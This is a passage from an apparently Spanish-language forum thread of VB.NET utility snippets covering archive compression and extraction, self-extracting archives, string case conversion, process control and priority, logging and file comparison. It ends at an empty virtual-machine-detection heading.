Compressor.CompressionMethod = CompressionMethod ' Append files to compressed file or overwrite the compressed file.
Compressor.ArchiveFormat = Format ' Compression file format
Compressor.CompressionMode = CompressionMode ' Compression mode
Compressor.DirectoryStructure = True ' Preserve the directory structure.
Compressor.IncludeEmptyDirectories = True ' Include empty directories to archives.
Compressor.ScanOnlyWritable = False ' Compress files only open for writing.
Compressor.EncryptHeaders = False ' Encrypt 7-Zip archive headers
Compressor.TempFolderPath = System.IO.Path.GetTempPath() ' Temporary folder path
Compressor.FastCompression = False ' Compress as fast as possible, without calling events.
Compressor.PreserveDirectoryRoot = True ' Preserve the directory root for CompressDirectory.
Compressor.ZipEncryptionMethod = ZipEncryptionMethod.ZipCrypto ' Encryption method for zip archives.
Compressor.DefaultItemName = "File.7z" ' Item name used when an item to be compressed has no name, for example, when you compress a MemoryStream instance
' Get File extension
Dim CompressedFileExtension As String = Nothing
Select Case Compressor.ArchiveFormat
Case OutArchiveFormat.SevenZip : CompressedFileExtension = ".7z"
Case OutArchiveFormat.BZip2 : CompressedFileExtension = ".bz"
Case OutArchiveFormat.GZip : CompressedFileExtension = ".gzip"
Case OutArchiveFormat.Tar : CompressedFileExtension = ".tar"
Case OutArchiveFormat.XZ : CompressedFileExtension = ".xz"
Case OutArchiveFormat.Zip : CompressedFileExtension = ".zip"
End Select
' Add Progress Handler
'AddHandler Compressor.Compressing, AddressOf SevenZipSharp_Compress_Progress
' Removes the end slash ("\") if given for a directory
If Input_DirOrFile.EndsWith("\") Then Input_DirOrFile = Input_DirOrFile.Substring(0, Input_DirOrFile.Length - 1)
' Generate the OutputFileName if any is given.
If OutputFileName Is Nothing Then _
OutputFileName = (My.Computer.FileSystem.GetFileInfo(Input_DirOrFile).DirectoryName & "\" & (Input_DirOrFile.Split("\").Last) & CompressedFileExtension).Replace("\\", "\")
' Check if given argument is Dir or File ...then start the compression
If IO.Directory.Exists(Input_DirOrFile) Then ' Is a Dir
If Not Password Is Nothing Then
Compressor.CompressDirectory(Input_DirOrFile, OutputFileName, True, Password)
Else
Compressor.CompressDirectory(Input_DirOrFile, OutputFileName, True)
End If
ElseIf IO.File.Exists(Input_DirOrFile) Then ' Is a File
If Not Password Is Nothing Then
Compressor.CompressFilesEncrypted(OutputFileName, Password, Input_DirOrFile)
Else
Compressor.CompressFiles(OutputFileName, Input_DirOrFile)
End If
End If
Catch ex As Exception
'Return False ' File not compressed
Throw New Exception(ex.Message)
End Try
Return True ' File compressed
End Function
' Public Sub SevenZipSharp_Compress_Progress(ByVal sender As Object, ByVal e As ProgressEventArgs)
' MsgBox("Percent compressed: " & e.PercentDone)
' End Sub
#End Region
· Devuelve información sobre archivos comprimidos (tamaño, nombre de los archivos internos, total de archivos internos..)
#Region " SevenZipSharp FileInfo "
' [ SevenZipSharp FileInfo Function ]
'
' // By Elektro H@cker
'
' Instructions :
' 1. Add a reference to "SevenZipSharp.dll".
' 2. Add the "7z.dll" or "7z64.dll" files to the project.
' 3. Use the code below.
'
' Examples :
' MsgBox(SevenZipSharp_FileInfo("C:\Test.7z", SevenZip_Info.Format))
' For Each FileName In SevenZipSharp_FileInfo("C:\Test.zip", SevenZip_Info.Internal_Files_FileNames) : MsgBox(FileName) : Next
Imports SevenZip
Dim dll As String = "7z.dll"
Public Enum SevenZip_Info
FileName
Format
Size_In_Bytes
Internal_Files_FileNames
Total_Internal_Files
End Enum
Private Function SevenZipSharp_FileInfo(ByVal InputFile As String, ByVal Info As SevenZip_Info)
Try
' Set library path
SevenZip.SevenZipExtractor.SetLibraryPath(dll)
' Create extractor and specify the file to extract
Dim Extractor As SevenZip.SevenZipExtractor = New SevenZip.SevenZipExtractor(InputFile)
' Return info
Select Case Info
Case SevenZip_Info.FileName
Return Extractor.FileName
Case SevenZip_Info.Format
Return Extractor.Format
Case SevenZip_Info.Size_In_Bytes
Return Extractor.PackedSize
Case SevenZip_Info.Total_Internal_Files
Return Extractor.FilesCount
Case SevenZip_Info.Internal_Files_FileNames
Dim FileList As New List(Of String)
For Each Internal_File In Extractor.ArchiveFileData
FileList.Add(Internal_File.FileName)
Next
Return FileList
Case Else
Return Nothing
End Select
Extractor.Dispose()
Catch ex As Exception
' Return nothing
Throw New Exception(ex.Message)
End Try
End Function
#End Region
Una función muy simple, elimina el último caracter de un string, puede ahorrar bastante escritura de código a veces...
#Region " Remove Last Char "
' [ Remove Last Char Function ]
'
' // By Elektro H@cker
'
' Examples :
' MsgBox(Remove_Last_Char("C:\Folder\"))
' Var = Remove_Last_Char(Var)
Private Function Remove_Last_Char(ByVal str As String) As String
Return str.Substring(0, str.Length - 1)
End Function
#End Region
· Convierte un string a LowerCase/Titlecase/UpperCase/WordCase
#Region " String to Case "
' [ String to Case Function ]
'
' // By Elektro H@cker
'
' Examples :
' MsgBox(String_To_Case("THiS is a TeST", StringCase.Titlecase))
' Var = String_To_WordCase(Var, StringCase.LowerCase)
Public Enum StringCase
LowerCase
Titlecase
UpperCase
WordCase
End Enum
Private Function String_To_Case(ByVal str As String, ByVal StringCase As StringCase) As String
Select Case StringCase
Case Form1.StringCase.LowerCase : Return System.Globalization.CultureInfo.CurrentCulture.TextInfo.ToLower(str)
Case Form1.StringCase.Titlecase : Return Char.ToUpper(str(0)) + StrConv(str.Substring(1), VbStrConv.Lowercase)
Case Form1.StringCase.UpperCase : Return System.Globalization.CultureInfo.CurrentCulture.TextInfo.ToUpper(str)
Case Form1.StringCase.WordCase : Return System.Globalization.CultureInfo.CurrentCulture.TextInfo.ToTitleCase(str)
Case Else : Return Nothing
End Select
End Function
#End Region
La función de convertir un string a Case, mejorada y mucho más ampliada:
#Region " String to Case "
' [ String to Case Function ]
'
' // By Elektro H@cker
'
' Examples :
' MsgBox(String_To_Case("THiS is a TeST", StringCase.Titlecase))
' MsgBox(String_To_Case("THiS is a TeST", StringCase.DelimitedCase_Lower, ";"))
' Var = String_To_WordCase(Var, StringCase.LowerCase)
Public Enum StringCase
LowerCase
UpperCase
Titlecase
WordCase
CamelCase_First_Lower
CamelCase_First_Upper
MixedCase_First_Lower
MixedCase_First_Upper
MixedCase_Word_Lower
MixedCase_Word_Upper
DelimitedCase_Lower
DelimitedCase_Mixed_Word_Lower
DelimitedCase_Mixed_Word_Upper
DelimitedCase_Title
DelimitedCase_Upper
DelimitedCase_Word
End Enum
Private Function String_To_Case(ByVal str As String, _
ByVal StringCase As StringCase, _
Optional ByVal Delimiter As String = "-") As String
Select Case StringCase
Case StringCase.LowerCase
Return str.ToLower
Case StringCase.UpperCase
Return str.ToUpper
Case StringCase.Titlecase
Return Char.ToUpper(str(0)) + StrConv(str.Substring(1), VbStrConv.Lowercase)
Case StringCase.WordCase
Return System.Globalization.CultureInfo.CurrentCulture.TextInfo.ToTitleCase(str)
Case StringCase.CamelCase_First_Lower
Return Char.ToLower(str(0)) & _
System.Globalization.CultureInfo.CurrentCulture.TextInfo.ToTitleCase(str).Replace(" ", "").Substring(1)
Case StringCase.CamelCase_First_Upper
Return Char.ToUpper(str(0)) & _
System.Globalization.CultureInfo.CurrentCulture.TextInfo.ToTitleCase(str).Replace(" ", "").Substring(1)
Case StringCase.MixedCase_First_Lower
Dim MixedString As String = Nothing
For X As Integer = 0 To str.Length - 1
Dim c As Char = str(X)
If (X / 2).ToString.Contains(",") Then _
MixedString += c.ToString.ToUpper _
Else MixedString += c.ToString.ToLower
Next
Return MixedString
Case StringCase.MixedCase_First_Upper
Dim MixedString As String = Nothing
For X As Integer = 0 To str.Length - 1
Dim c As Char = str(X)
If (X / 2).ToString.Contains(",") Then _
MixedString += c.ToString.ToLower _
Else MixedString += c.ToString.ToUpper
Next
Return MixedString
Case StringCase.MixedCase_Word_Lower
Dim MixedString As String = Nothing
Dim Count As Integer = 1
For X As Integer = 0 To str.Length - 1
Dim c As Char = str(X)
If Not c = " " Then Count += 1 Else Count = 1
If (Count / 2).ToString.Contains(",") Then _
MixedString += c.ToString.ToUpper _
Else MixedString += c.ToString.ToLower
Next
Return MixedString
Case StringCase.MixedCase_Word_Upper
Dim MixedString As String = Nothing
Dim Count As Integer = 1
For X As Integer = 0 To str.Length - 1
Dim c As Char = str(X)
If Not c = " " Then Count += 1 Else Count = 1
If (Count / 2).ToString.Contains(",") Then _
MixedString += c.ToString.ToLower _
Else MixedString += c.ToString.ToUpper
Next
Return MixedString
Case StringCase.DelimitedCase_Lower
Dim rgx As New System.Text.RegularExpressions.Regex("\s+")
Return rgx.Replace(str.ToLower, Delimiter)
Case StringCase.DelimitedCase_Upper
Dim rgx As New System.Text.RegularExpressions.Regex("\s+")
Return rgx.Replace(str.ToUpper, Delimiter)
Case StringCase.DelimitedCase_Title
Dim rgx As New System.Text.RegularExpressions.Regex("\s+")
Return rgx.Replace(Char.ToUpper(str(0)) + StrConv(str.Substring(1), VbStrConv.Lowercase), Delimiter)
Case StringCase.DelimitedCase_Word
Dim rgx As New System.Text.RegularExpressions.Regex("\s+")
Return rgx.Replace(System.Globalization.CultureInfo.CurrentCulture.TextInfo.ToTitleCase(str), Delimiter)
Case StringCase.DelimitedCase_Mixed_Word_Lower
Dim MixedString As String = Nothing
Dim Count As Integer = 1
For X As Integer = 0 To str.Length - 1
Dim c As Char = str(X)
If Not c = " " Then Count += 1 Else Count = 1
If (Count / 2).ToString.Contains(",") Then _
MixedString += c.ToString.ToUpper _
Else MixedString += c.ToString.ToLower
Next
Dim rgx As New System.Text.RegularExpressions.Regex("\s+")
Return rgx.Replace(MixedString, Delimiter)
Case StringCase.DelimitedCase_Mixed_Word_Upper
Dim MixedString As String = Nothing
Dim Count As Integer = 1
For X As Integer = 0 To str.Length - 1
Dim c As Char = str(X)
If Not c = " " Then Count += 1 Else Count = 1
If (Count / 2).ToString.Contains(",") Then _
MixedString += c.ToString.ToLower _
Else MixedString += c.ToString.ToUpper
Next
Dim rgx As New System.Text.RegularExpressions.Regex("\s+")
Return rgx.Replace(MixedString, Delimiter)
Case Else
Return Nothing
End Select
End Function
#End Region
· Un AppActivate distinto, en mi opinión mejor, se usa por el nombre del proceso, con posibilidad de seleccionar el proceso por el título de la ventana de dicho proceso:
#Region " Activate APP "
' [ Activate APP Function ]
'
' // By Elektro H@cker
'
' Examples :
' ActivateAPP("notepad.exe")
' ActivateAPP("notepad.exe", "Notepad Sub-Window Title")
' MsgBox(ActivateAPP("notepad"))
Private Function ActivateAPP(ByVal ProcessName As String, _
Optional ByVal WindowTitle As String = Nothing) As Boolean
If ProcessName.ToLower.EndsWith(".exe") Then ProcessName = ProcessName.Substring(0, ProcessName.Length - 4)
Dim ProcessTitle As String = Nothing
Dim ProcessArray = Process.GetProcessesByName(ProcessName)
If ProcessArray.Length = 0 Then : Return False ' ProcessName not found
ElseIf ProcessArray.Length > 1 AndAlso Not WindowTitle Is Nothing Then
For Each Title In ProcessArray
If Title.MainWindowTitle.Contains(WindowTitle) Then _
ProcessTitle = Title.MainWindowTitle
Next
Else : ProcessTitle = ProcessArray(0).MainWindowTitle
End If
AppActivate(ProcessTitle)
Return True ' Window activated
End Function
#End Region
· Escribe texto en un Log
#Region " Write Log "
' [ Write Log Function ]
'
' // By Elektro H@cker
'
' Examples :
' WriteLog("Application started", InfoType.Information)
' WriteLog("Application got mad", InfoType.Critical)
Dim LogFile = CurDir() & "\" & System.Reflection.Assembly.GetExecutingAssembly.GetName().Name & ".log"
Public Enum InfoType
Information
Exception
Critical
None
End Enum
Private Function WriteLog(ByVal Message As String, ByVal InfoType As InfoType) As Boolean
Dim LocalDate As String = My.Computer.Clock.LocalTime.ToString.Split(" ").First
Dim LocalTime As String = My.Computer.Clock.LocalTime.ToString.Split(" ").Last
Dim LogDate As String = "[ " & LocalDate & " ] " & " [ " & LocalTime & " ] "
Dim MessageType As String = Nothing
Select Case InfoType
Case InfoType.Information : MessageType = "Information: "
Case InfoType.Exception : MessageType = "Error: "
Case InfoType.Critical : MessageType = "Critical: "
Case InfoType.None : MessageType = ""
End Select
Try
My.Computer.FileSystem.WriteAllText(LogFile, vbNewLine & LogDate & MessageType & Message & vbNewLine, True)
Return True
Catch ex As Exception
'Return False
Throw New Exception(ex.Message)
End Try
End Function
#End Region
· Cierra un proceso (No lo mata)
#Region " Close Process Function "
' [ Close Process Function ]
'
' Examples :
'
' Close_Process(Application.ExecutablePath)
' Close_Process("notepad.exe")
' Close_Process("notepad", False)
Private Function Close_Process(ByRef Process_Name As String, _
Optional ByVal OnlyFirstFound As Boolean = True) As Boolean
If Process_Name.ToLower.EndsWith(".exe") Then Process_Name = Process_Name.Substring(0, Process_Name.Length - 4)
Dim proc() As Process = Process.GetProcessesByName(Process_Name)
If Not OnlyFirstFound Then
For proc_num As Integer = 0 To proc.Length - 1
Try : proc(proc_num).CloseMainWindow() _
: Catch : Return False : End Try ' One of the processes can't be closed
Next
Return True
Else
Try : proc(0).CloseMainWindow() : Return True ' Close message sent to the process
Catch : Return False : End Try ' Can't close the process
End If
Return Nothing ' ProcessName not found
End Function
#End Region
· Buscar coincidencias de texto usando expresiones regulares
#Region " Find RegEx "
' [ Find RegEx Function ]
'
' // By Elektro H@cker
'
' Examples :
' If Find_RegEx("abcdef", "^[A-Z]+$") Then MsgBox("Yes") Else MsgBox("No") ' Result: No
' If Find_RegEx("abcdef", "^[A-Z]+$", True) Then MsgBox("Yes") Else MsgBox("No") ' Result: Yes
Private Function Find_RegEx(ByVal str As String, ByVal Pattern As String, _
Optional ByVal Ignorecase As Boolean = False) As Boolean
Dim RegExCase As System.Text.RegularExpressions.RegexOptions
If Ignorecase Then _
RegExCase = System.Text.RegularExpressions.RegexOptions.IgnoreCase _
Else RegExCase = System.Text.RegularExpressions.RegexOptions.None
Dim RegEx As New System.Text.RegularExpressions.Regex(Pattern, RegExCase)
Return RegEx.IsMatch(str)
End Function
#End Region
· Leer un texto línea por línea (For each line...) con posibilidad de saltar líneas en blanco.
#Region " Read TextFile Libe By Line "
' [ Read TextFile Libe By Line ]
'
' // By Elektro H@cker
'
' Examples :
' Read_TextFile_Libe_By_Line("C:\Test.txt")
' Read_TextFile_Libe_By_Line("C:\Test.txt", True)
Private Sub Read_TextFile_Libe_By_Line(ByVal TextFile As String, _
Optional ByVal Read_Blank_Lines As Boolean = False)
Dim Line As String = Nothing
Dim Text As IO.StreamReader = IO.File.OpenText(TextFile)
Dim RegEx As New System.Text.RegularExpressions.Regex("^\s+$")
Do Until Text.EndOfStream
Line = Text.ReadLine()
If (Not Read_Blank_Lines _
AndAlso _
(Not Line = "" _
And Not RegEx.IsMatch(Line))) _
OrElse Read_Blank_Lines Then
' Do things here...
MsgBox(Line)
End If
Loop
Text.Close() : Text.Dispose()
End Sub
#End Region
· Devuelve el valor de un nombre de un Enum
#Region " Get Enum Value "
' [ Get Enum Value Function ]
'
' Examples :
' MsgBox(Get_Enum_Value(DayOfWeek.Sunday)) ' Result: 0
' MsgBox(Get_Enum_Value(DayOfWeek.Monday)) ' Result: 1
Function Get_Enum_Value(Of T)(Byval ValueName As T) As Int32
Return Convert.ToInt32(ValueName)
End Function
#End Region
· Devuelve el nombre de un valor de un Enum
#Region " Get Enum Name "
' [ Get Enum ValueName Function ]
'
' Examples :
' MsgBox(Get_Enum_Name(Of DayOfWeek)(0)) ' Result: Sunday
' MsgBox(Get_Enum_Name(Of DayOfWeek)(1)) ' Result: Monday
Private Function Get_Enum_Name(Of T)(EnumValue As Integer) As String
Return [Enum].GetName(GetType(T), EnumValue)
End Function
#End Region
· Comparar dos archivos:
#Region " Compare Files "
' [ Compare Files Function ]
'
' Examples :
' MsgBox(Compare_Files("C:\File1.txt", "C:\File2.txt"))
Private Function Compare_Files(ByVal File1 As String, ByVal File2 As String) As Boolean
' Set to true if the files are equal; false otherwise
Dim FilesAreEqual As Boolean = False
With My.Computer.FileSystem
' Ensure that the files are the same length before comparing them line by line.
If .GetFileInfo(File1).Length = .GetFileInfo(File2).Length Then
Using file1Reader As New FileStream(File1, FileMode.Open), _
file2Reader As New FileStream(File2, FileMode.Open)
Dim byte1 As Integer = file1Reader.ReadByte()
Dim byte2 As Integer = file2Reader.ReadByte()
' If byte1 or byte2 is a negative value, we have reached the end of the file.
While byte1 >= 0 AndAlso byte2 >= 0
If (byte1 <> byte2) Then
FilesAreEqual = False
Exit While
Else
FilesAreEqual = True
End If
' Read the next byte.
byte1 = file1Reader.ReadByte()
byte2 = file2Reader.ReadByte()
End While
End Using
End If
End With
Return FilesAreEqual
End Function
#End Region
Ja no tienes nada que hacer verdad !! GRacias por los aportes ;-) ;-) ;-) ;-) ;-)
::) ;D
Dale suave !!
· Comprimir con DotNetZip
#Region " DotNetZip Compress "
' [ DotNetZip Compress Function ]
'
' // By Elektro H@cker
'
' Instructions :
' 1. Add a reference to "Ionic.Zip.dll".
' 2. Use the code below.
'
' Examples:
' DotNetZip_Compress("C:\File.txt")
' DotNetZip_Compress("C:\Folder")
' DotNetZip_Compress("C:\Folder", "C:\Folder\Test.zip", , CompressionLevel.BestCompression, "Password", EncryptionAlgorithm.WinZipAes256)
Imports Ionic.Zip
Imports Ionic.Zlib
Private Function DotNetZip_Compress(ByVal Input_DirOrFile As String, _
Optional ByVal OutputFileName As String = Nothing, _
Optional ByVal CompressionMethod As CompressionMethod = CompressionMethod.None, _
Optional ByVal CompressionLevel As CompressionLevel = CompressionLevel.Default, _
Optional ByVal Password As String = Nothing, _
Optional ByVal Encrypt_Password As EncryptionAlgorithm = EncryptionAlgorithm.None _
) As Boolean
Try
' Create compressor
Dim Compressor As ZipFile = New ZipFile
' Set compression parameters
Compressor.CompressionLevel = CompressionLevel ' Archiving compression level.
Compressor.CompressionMethod = CompressionMethod ' Compression method
Compressor.Password = Password ' Zip Password
Compressor.TempFileFolder = System.IO.Path.GetTempPath() ' Temp folder for operations
If Password Is Nothing AndAlso Not Encrypt_Password = EncryptionAlgorithm.None Then _
Compressor.Encryption = EncryptionAlgorithm.None _
Else Compressor.Encryption = Encrypt_Password ' Encryption for Zip password.
' Add Progress Handler
' AddHandler Compressor.SaveProgress, AddressOf DotNetZip_Compress_Progress
' Removes the end slash ("\") if is given for a directory.
If Input_DirOrFile.EndsWith("\") Then Input_DirOrFile = Input_DirOrFile.Substring(0, Input_DirOrFile.Length - 1)
' Generate the OutputFileName if any is given.
If OutputFileName Is Nothing Then _
OutputFileName = (My.Computer.FileSystem.GetFileInfo(Input_DirOrFile).DirectoryName & "\" & (Input_DirOrFile.Split("\").Last) & ".zip").Replace("\\", "\")
' Check if given argument is Dir or File ...then start the compression
If IO.Directory.Exists(Input_DirOrFile) Then ' It's a Dir
Compressor.AddDirectory(Input_DirOrFile)
ElseIf IO.File.Exists(Input_DirOrFile) Then ' It's a File
Compressor.AddFile(Input_DirOrFile)
End If
Compressor.Save(OutputFileName)
Compressor.Dispose()
Catch ex As Exception
'Return False ' File not compressed
Throw New Exception(ex.Message)
End Try
Return True ' File compressed
End Function
'Public Sub DotNetZip_Compress_Progress(ByVal sender As Object, ByVal e As SaveProgressEventArgs)
'
' If e.EventType = ZipProgressEventType.Saving_Started Then
' MsgBox("Begin Saving: " & _
' e.ArchiveName) ' Destination ZIP filename
'
' ElseIf e.EventType = ZipProgressEventType.Saving_BeforeWriteEntry Then
' MsgBox("Writing: " & e.CurrentEntry.FileName & _
' " (" & (e.EntriesSaved + 1) & "/" & e.EntriesTotal & ")") ' Input filename to be compressed
'
' ' ProgressBar2.Maximum = e.EntriesTotal ' Count of total files to compress
' ' ProgressBar2.Value = e.EntriesSaved + 1 ' Count of compressed files
'
' ElseIf e.EventType = ZipProgressEventType.Saving_EntryBytesRead Then
' ' ProgressBar1.Value = CType((e.BytesTransferred * 100) / e.TotalBytesToTransfer, Integer) ' Total Progress
'
' ElseIf e.EventType = ZipProgressEventType.Saving_Completed Then
' MessageBox.Show("Compression Done: " & vbNewLine & _
' e.ArchiveName) ' Compression finished
' End If
'
'End Sub
#End Region
· Crear un SFX con DotNetZip
#Region " DotNetZip Compress SFX "
' [ DotNetZip Compress SFX Function ]
'
' // By Elektro H@cker
'
' Instructions :
' 1. Add a reference to "Ionic.Zip.dll".
' 2. Use the code below.
'
' Examples:
' DotNetZip_Compress_SFX("C:\File.txt")
' DotNetZip_Compress_SFX("C:\Folder")
'
' DotNetZip_Compress_SFX( _
' "C:\File.txt", "C:\Test.exe", , CompressionLevel.BestCompression, _
' "MyPassword", EncryptionAlgorithm.WinZipAes256, , , _
' ExtractExistingFileAction.OverwriteSilently, , , , _
' System.IO.Path.GetFileName("notepad.exe") _
' )
Imports Ionic.Zip
Imports Ionic.Zlib
Private Function DotNetZip_Compress_SFX(ByVal Input_DirOrFile As String, _
Optional ByVal OutputFileName As String = Nothing, _
Optional ByVal CompressionMethod As CompressionMethod = CompressionMethod.None, _
Optional ByVal CompressionLevel As CompressionLevel = CompressionLevel.Default, _
Optional ByVal Password As String = Nothing, _
Optional ByVal Encrypt_Password As EncryptionAlgorithm = EncryptionAlgorithm.None, _
Optional ByVal Extraction_Directory As String = ".\", _
Optional ByVal Silent_Extraction As Boolean = False, _
Optional ByVal Overwrite_Files As ExtractExistingFileAction = ExtractExistingFileAction.InvokeExtractProgressEvent, _
Optional ByVal Delete_Extracted_Files_After_Extraction As Boolean = False, _
Optional ByVal Icon As String = Nothing, _
Optional ByVal Window_Title As String = Nothing, _
Optional ByVal Window_Style As SelfExtractorFlavor = SelfExtractorFlavor.WinFormsApplication, _
Optional ByVal Command_Line_Argument As String = Nothing _
) As Boolean
Try
' Create compressor
Dim Compressor As ZipFile = New ZipFile
' Set compression parameters
Compressor.CompressionLevel = CompressionLevel ' Archiving compression level.
' Compression method
Compressor.Password = Password ' Zip Password
Compressor.TempFileFolder = System.IO.Path.GetTempPath() ' Temp folder for operations
If Password Is Nothing AndAlso Not Encrypt_Password = EncryptionAlgorithm.None Then
Compressor.Encryption = EncryptionAlgorithm.None ' No encryption because no password.
Compressor.CompressionMethod = CompressionMethod ' Set any compression method.
Else
Compressor.Encryption = Encrypt_Password ' Set Encryption for Zip password.
Compressor.CompressionMethod = CompressionMethod.Deflate ' Set deflate method to don't destroy the SFX if AES encryption.
End If
Dim SFX_Options As New SelfExtractorSaveOptions()
SFX_Options.DefaultExtractDirectory = Extraction_Directory
SFX_Options.Quiet = Silent_Extraction
SFX_Options.ExtractExistingFile = ExtractExistingFileAction.OverwriteSilently
SFX_Options.RemoveUnpackedFilesAfterExecute = Delete_Extracted_Files_After_Extraction
SFX_Options.Flavor = Window_Style
SFX_Options.PostExtractCommandLine = Command_Line_Argument
If Not Icon Is Nothing Then SFX_Options.IconFile = Icon
If Not Window_Title Is Nothing Then SFX_Options.SfxExeWindowTitle = Window_Title
' Add Progress Handler
' AddHandler Compressor.SaveProgress, AddressOf DotNetZip_Compress_SFX_Progress
' Removes the end slash ("\") if is given for a directory.
If Input_DirOrFile.EndsWith("\") Then Input_DirOrFile = Input_DirOrFile.Substring(0, Input_DirOrFile.Length - 1)
' Generate the OutputFileName if any is given.
If OutputFileName Is Nothing Then _
OutputFileName = (My.Computer.FileSystem.GetFileInfo(Input_DirOrFile).DirectoryName & "\" & (Input_DirOrFile.Split("\").Last) & ".exe").Replace("\\", "\")
' Check if given argument is Dir or File ...then start the compression
If IO.Directory.Exists(Input_DirOrFile) Then ' It's a Dir
Compressor.AddDirectory(Input_DirOrFile)
ElseIf IO.File.Exists(Input_DirOrFile) Then ' It's a File
Compressor.AddFile(Input_DirOrFile)
End If
Compressor.SaveSelfExtractor(OutputFileName, SFX_Options)
Compressor.Dispose()
Catch ex As Exception
'Return False ' File not compressed
Throw New Exception(ex.Message)
End Try
Return True ' File compressed
End Function
' Public Sub DotNetZip_Compress_SFX_Progress(ByVal sender As Object, ByVal e As SaveProgressEventArgs)
'
' If e.EventType = ZipProgressEventType.Saving_Started Then
' MsgBox("Begin Saving: " & _
' e.ArchiveName) ' Destination ZIP filename
'
' ElseIf e.EventType = ZipProgressEventType.Saving_BeforeWriteEntry Then
' MsgBox("Writing: " & e.CurrentEntry.FileName & _
' " (" & (e.EntriesSaved + 1) & "/" & e.EntriesTotal & ")") ' Input filename to be compressed
'
' ' ProgressBar2.Maximum = e.EntriesTotal ' Count of total files to compress
' ' ProgressBar2.Value = e.EntriesSaved + 1 ' Count of compressed files
'
' ElseIf e.EventType = ZipProgressEventType.Saving_EntryBytesRead Then
' ' ProgressBar1.Value = CType((e.BytesTransferred * 100) / e.TotalBytesToTransfer, Integer) ' Total Progress
'
' ElseIf e.EventType = ZipProgressEventType.Saving_Completed Then
' MessageBox.Show("Compression Done: " & vbNewLine & _
' e.ArchiveName) ' Compression finished
' End If
'
' End Sub
#End Region
· Descomprimir con DotNetZip
#Region " DotNetZip Extract "
' [ DotNetZip Extract Function ]
'
' // By Elektro H@cker
'
' Instructions :
' 1. Add a reference to "Ionic.Zip.dll".
' 2. Use the code below.
'
' Examples:
' DotNetZip_Extract("C:\File.zip")
' DotNetZip_Extract("C:\File.zip", "C:\Folder\Test\", , "MyPassword")
Imports Ionic.Zip
Imports Ionic.Zlib
Dim ZipFileCount As Long = 0
Dim ExtractedFileCount As Long = 0
Private Function DotNetZip_Extract(ByVal InputFile As String, _
Optional ByVal OutputDir As String = Nothing, _
Optional ByVal Overwrite As ExtractExistingFileAction = ExtractExistingFileAction.DoNotOverwrite, _
Optional ByVal Password As String = "Nothing" _
) As Boolean
Try
' Create Extractor
Dim Extractor As ZipFile = ZipFile.Read(InputFile)
' Set Extractor parameters
Extractor.Password = Password ' Zip Password
Extractor.TempFileFolder = System.IO.Path.GetTempPath() ' Temp folder for operations
Extractor.ZipErrorAction = ZipErrorAction.Throw
' Specify the output path where the files will be extracted
If OutputDir Is Nothing Then OutputDir = My.Computer.FileSystem.GetFileInfo(InputFile).DirectoryName
' Add Progress
'AddHandler Extractor.ExtractProgress, AddressOf DotNetZip_Extract_Progress ' Progress Handler
'For Each Entry As ZipEntry In Extractor.Entries : ZipFileCount += 1 : Next ' Total bytes size of Zip
'ZipFileCount = Extractor.Entries.Count ' Total files inside Zip
' Start the extraction
For Each Entry As ZipEntry In Extractor.Entries : Entry.Extract(OutputDir, Overwrite) : Next
ZipFileCount = 0 : ExtractedFileCount = 0 ' Reset vars
Extractor.Dispose()
Return True ' File Extracted
Catch ex As Exception
' Return False ' File not extracted
Throw New Exception(ex.Message)
End Try
End Function
' Public Sub DotNetZip_Extract_Progress(ByVal sender As Object, ByVal e As ExtractProgressEventArgs)
'
' If e.EventType = ZipProgressEventType.Extracting_BeforeExtractEntry Then
' If ExtractedFileCount = 0 Then
' MsgBox("Begin Extracting: " & _
' e.ArchiveName) ' Input ZIP filename
' End If
'
' ExtractedFileCount += 1
' MsgBox("Writing: " & e.CurrentEntry.FileName & _
' " (" & (ExtractedFileCount) & "/" & ZipFileCount & ")") ' Output filename uncompressing
'
' ProgressBar1.Maximum = ZipFileCount ' Count of total files to uncompress
' ProgressBar1.Value = ExtractedFileCount ' Count of uncompressed files
'
' ElseIf e.EventType = ZipProgressEventType.Extracting_AfterExtractEntry Then
' If ExtractedFileCount = ZipFileCount Then
' MessageBox.Show("Extraction Done: " & vbNewLine & _
' e.ArchiveName) ' Uncompression finished
' End If
' End If
'
' End Sub
#End Region
· Modificar la prioridad de un proceso, por el nombre.
#Region " Set Process Priority By Name "
' [ Set Process Priority By Name Function ]
'
' // By Elektro H@cker
'
' Examples :
' Set_Process_Priority_By_Name("notepad.exe", ProcessPriorityClass.RealTime)
' Set_Process_Priority_By_Name("notepad", ProcessPriorityClass.Idle, False)
Private Function Set_Process_Priority_By_Name(ByVal ProcessName As String, _
ByVal Priority As ProcessPriorityClass, _
Optional ByVal OnlyFirstFound As Boolean = True
) As Boolean
Try
If ProcessName.ToLower.EndsWith(".exe") Then ProcessName = ProcessName.Substring(0, ProcessName.Length - 4)
For Each Proc As Process In System.Diagnostics.Process.GetProcessesByName(ProcessName)
Proc.PriorityClass = Priority
If OnlyFirstFound Then Exit For
Next
Return True
Catch ex As Exception
' Return False
Throw New Exception(ex.Message)
End Try
End Function
#End Region
· Modificar la prioridad de un proceso, por el handle y usando APIS.
#Region " Set Process Priority By Handle "
' [ Set Process Priority By Handle Function ]
'
' // By Elektro H@cker
'
' Examples :
' Set_Process_Priority_By_Handle(Process.GetCurrentProcess().Handle, Process_Priority.RealTime)
' Set_Process_Priority_By_Handle(33033, Process_Priority.Idle)
Private Declare Function GetPriorityClass Lib "kernel32" (ByVal hProcess As Long) As Long
Private Declare Function SetPriorityClass Lib "kernel32" (ByVal hProcess As Long, ByVal dwPriorityClass As Long) As Long
Public Enum Process_Priority As Int32
RealTime = 256
High = 128
Above_Normal = 32768
Normal = 32
Below_Normal = 16384
Low = 64
End Enum
Private Function Set_Process_Priority_By_Handle(ByVal Process_Handle As IntPtr, _
ByVal Process_Priority As Process_Priority) As Boolean
SetPriorityClass(Process_Handle, Process_Priority)
If GetPriorityClass(Process_Handle) = Process_Priority Then _
Return True _
Else Return False ' Return false if priority can't be changed 'cause user permissions.
End Function
#End Region
· modificar la prioridad del Thread actual:
#Region " Set Current Thread Priority "
' [ Set Current Thread Priority Function ]
'
' // By Elektro H@cker
'
' Examples :
' Set_Current_Thread_Priority(Threading.ThreadPriority.AboveNormal)
' MsgBox(Set_Current_Thread_Priority(Threading.ThreadPriority.Highest))
Public Shared Function Set_Current_Thread_Priority(ByVal Thread_Priority As Threading.ThreadPriority) As Boolean
Try
Threading.Thread.CurrentThread.Priority = Thread_Priority
Return True
Catch ex As Exception
' Return False
Throw New Exception(ex.Message)
End Try
End Function
#End Region
· Detectar la ejecución de la aplicación en una máquina virtual.
#Region " Detect Virtual Machine "
' [ Detect Virtual Machine Function ]
'
' // By Elektro H@cker
'
' Instructions :
' 1. Add a reference for "System.Management"
'
' Examples :
